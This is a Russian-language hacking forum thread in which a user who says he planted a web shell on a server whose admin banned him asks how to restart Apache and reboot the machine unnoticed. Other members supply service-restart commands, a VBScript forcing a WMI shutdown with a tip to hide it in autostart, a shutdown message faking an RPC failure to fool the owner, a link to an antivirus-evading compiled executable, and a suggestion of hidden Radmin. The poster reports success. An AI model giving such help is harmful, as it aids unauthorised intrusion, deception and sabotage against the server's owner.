Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Перезагрузка апача в windows xp через cmd [help] (https://forum.antichat.xyz/showthread.php?t=102536)

Sniper482 22.01.2009 15:56

Перезагрузка апача в windows xp через cmd [help]
 
Сабж..админ банил по всему серваку (Apache2.2 Win)..я залил шелл ему..отредактировал httpd.conf...теперь надо перезагрузить апач... Как это сделать через cmd и без палева.

oRb 22.01.2009 16:02

Когда в винде сидел, для рестарта апача сделал такой батник
Цитата:

call "C:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -w -n "Apache2.2" -k restart

groundhog 22.01.2009 16:03

Цитата:

net stop "Apache2.2"
net start "Apache2.2"
или
Цитата:

путь/к/файлу/httpd -k restart

Sniper482 22.01.2009 16:05

Цитата:

Сообщение от oRb
Когда в винде сидел, для рестарта апача сделал такой батник

Выполнил команду с шелла..не получилось..Думаю батник тут не поможет..Путь правильный но не работает.

-=lebed=- 22.01.2009 16:06

Апач может стоять как служба (т.е. сервис), тогда net stop Apache2, потом net start Apache2, правда на практике через удалённый вебшел он почему-то он не стартанул :-(

Sniper482 22.01.2009 16:08

Цитата:

Сообщение от -=lebed=-
Апач может стоять как служба (т.е. сервис), тогда net stop Apache2, потом net start Apache2, правда на практике через удалённый вебшел он почему-то он не стартанул :-(

У мню стоит вэб шелл..все команды выполнять можно..если я выполню net start Apache2..то как я птом на шелл зайду? =)

groundhog 22.01.2009 16:17

Sniper482, сделай баник и в нём:

net stop Apache2
net start Apache2

-=lebed=- 22.01.2009 16:19

Цитата:

Сообщение от groundhog
Sniper482, сделай баник и в нём:

net stop Apache2
net start Apache2

Ну да, через батник или cmd-файл только... (так и делал, останвится - остановился, а вот запустится - нефига...)

Sniper482 22.01.2009 16:21

Цитата:

Сообщение от groundhog
Sniper482, сделай баник и в нём:

net stop Apache2
net start Apache2

Создал батник...залил его в C:\
запустил...
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\img\uploads>net stop Apache2

C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\img\uploads>net start Apache2
0 эмоций... :(

Pashkela 22.01.2009 16:23

дык сначала надо на себе тестить

groundhog 22.01.2009 16:28

Sniper482, может имя сервиса другое, не Apache2, попробуй имя сервисы взять в кавычки... С какими правами запущен apache? SYSTEM?

Sniper482 22.01.2009 16:29

Цитата:

Сообщение от Pashkela
дык сначала надо на себе тестить

Не имею такой возможности..


Ладно...Как перезагрузить машину без палева через cmd?

groundhog 22.01.2009 16:32

Ты бы сначала выяснил какие у тебя парва в системе... Всё равно потом будешь спрашивать "почему не работает"...

AkyHa_MaTaTa 22.01.2009 16:33

наверно надо бы посмотреть какие службы запушены
net start

перезагрузить можно так через shutdown, да, права надо конечно посмотреть ^^, может у тебя их и нету(скорее всего), поэтому и не можешьл остановить службу

Sniper482 22.01.2009 16:39

Есть полные права...пацанчик не шарит у которого серв стоит...серв стоит на обычной машине и всё...права на всё есть.

halkfild 22.01.2009 16:41

сначала посмотри список служб

Цитата:

net start
если есть апач, то тогда делай ребут через батник

Цитата:

net stop apache2
net start apache2

либо же напрямую вот так

Цитата:

C:\Program Files\Apache Group\Apache2\bin>Apache -k restart

Sniper482 22.01.2009 16:45

Дайте шелл нормальный чтоб я команды выполнил и показало результат

Pashkela 22.01.2009 16:47

Цитата:

Сообщение от Sniper482
Не имею такой возможности..


Ладно...Как перезагрузить машину без палева через cmd?

Открываешь блокнот, пишешь туда:

On Error Resume Next
dim OpSysSet, obj
Set OpSysSet = GetObject("winmgmts:{impersonationLevel=impersonat e," & _
"(Shutdown)}//./root/cimv2").ExecQuery _
("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")
For Each obj In OpSysSet
obj.Win32Shutdown(8)
Next

сохраняешь как dsijf678798.vbs

Заливаешь к нему. Через cmd запускаешь. Комп выключается. Проверено только что на Win XP SP2

PS: Для забавы можно прописать в реестр в автозагрузку из этого-же скрипта, перед выключением (только кинь его куда-нибудь, где файла много, чтобы искать упарился)

С vbs вообще можно жесткие шутки замутить - переназначить все расширения и etc.

AkyHa_MaTaTa 22.01.2009 16:49

r57 все команды выводит, можешьт ребутнуть вот так

shutdown.exe -r -f -t 20 -c "Произошол не предвиденый збой в службе RPC, сохраните свои данные перед перезагрузкой или они будут уничтожаны"

Sniper482 22.01.2009 16:50

C:\Documents and Settings\ADMIN>1.vbs
"1.vbs" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

Проверил на себе.

AkyHa_MaTaTa 22.01.2009 16:54

Цитата:

Сообщение от Sniper482
C:\Documents and Settings\ADMIN>1.vbs
"1.vbs" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

Проверил на себе.

значит у тебя нету vbs интерпритатора(Windows basic script host), или расширения файлов не настроено.

можешь проверит вот это на себе:

shutdown.exe -r -f -t 20 -c "Произошол не предвиденый збой в службе RPC, сохраните свои данные перед перезагрузкой или они будут уничтожаны"

Sniper482 22.01.2009 16:59

На виртуалке пашет..сча запустил там где апач стоит..жду =)

Sniper482 22.01.2009 17:02

Не...не катит чёт

Pashkela 22.01.2009 17:05

Цитата:

Сообщение от Sniper482
C:\Documents and Settings\ADMIN>1.vbs
"1.vbs" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

Проверил на себе.

на скомпиленный

http://slil.ru/26571127

опять не покатит если - обзови его не .scr, а .exe

компилировал exescript-ом, Каспер и НОД32 не палят, остальные Кузей обзывают:)

Sniper482 22.01.2009 17:12

Эксе прокатил...всем спасибо.

Sniper482 22.01.2009 17:15

Цитата:

Сообщение от ChaaK
Скрытый радмин поставь :))

Та уже всё =))) Радмин это сильно палевно.


Время: 17:12